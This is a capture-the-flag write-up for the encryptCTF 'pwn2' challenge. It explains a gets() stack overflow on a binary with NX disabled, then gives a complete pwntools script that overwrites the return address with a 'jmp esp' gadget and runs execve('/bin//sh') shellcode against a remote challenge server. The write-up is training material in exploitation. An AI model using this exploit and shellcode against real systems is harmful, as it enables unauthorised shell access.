## pwn2 (Pwn, 100pts) #### Challenge Description I made a simple shell which allows me to run some specific commands on my server can you test it for bugs? ``` nc 104.154.106.182 3456 ``` author: codacker #### Overview Looking at the main function, the issue is again the use of `gets()` similar to pwn0 and pwn1, except this time there's no win() function that'll print the flag or give you a shell. ```assembly mov dword ptr [esp], offset format ; "$ " call _printf lea eax, [esp+30h+s] mov [esp], eax ; s call _gets ``` However NX is disabled so we can use shellcode. The crux of the challenge is managing to get a pointer to your shellcode, since the stack will change between your local copy and the server. The way to get around this is to use a 1 gadget ROP chain. Through observing program behavior in GDB, one may notice that the stack pointer `esp` points to just after the return address overwrite. We can place shellcode here and use a `jmp esp` gadget to have a perfect pointer to where to return to. One such gadget exists at `0x8048544`. ```assembly .text:08048544 jmp esp ``` #### Flag Script ```python # Pwn2 # No PIE, NX Disabled, No Stack Cookies # # Solution: Write shellcode on stack, jump to it with a 'jmp esp' gadget. # Flag: encryptCTF{N!c3_j0b_jump3R} from pwn import * context(arch='i386', os='linux') io = remote('104.154.106.182', 3456) # Write padding payload = "\x90" * 0x2C # 'jmp esp' gadget payload += "\x44\x85\x04\x08" # Write shellcode payload += "\x31\xC0" # 'xor eax, eax` payload += "\x50" payload += "\x68\x2F\x2F\x73\x68" payload += "\x68\x2F\x62\x69\x6E" payload += "\x89\xE3" payload += "\x50" payload += "\x53" payload += "\x89\xE1" payload += "\xB0\x0B" payload += "\xCD\x80" # Shell io.sendline(payload) io.interactive() ``` The flag: ``` encryptCTF{N!c3_j0b_jump3R} ```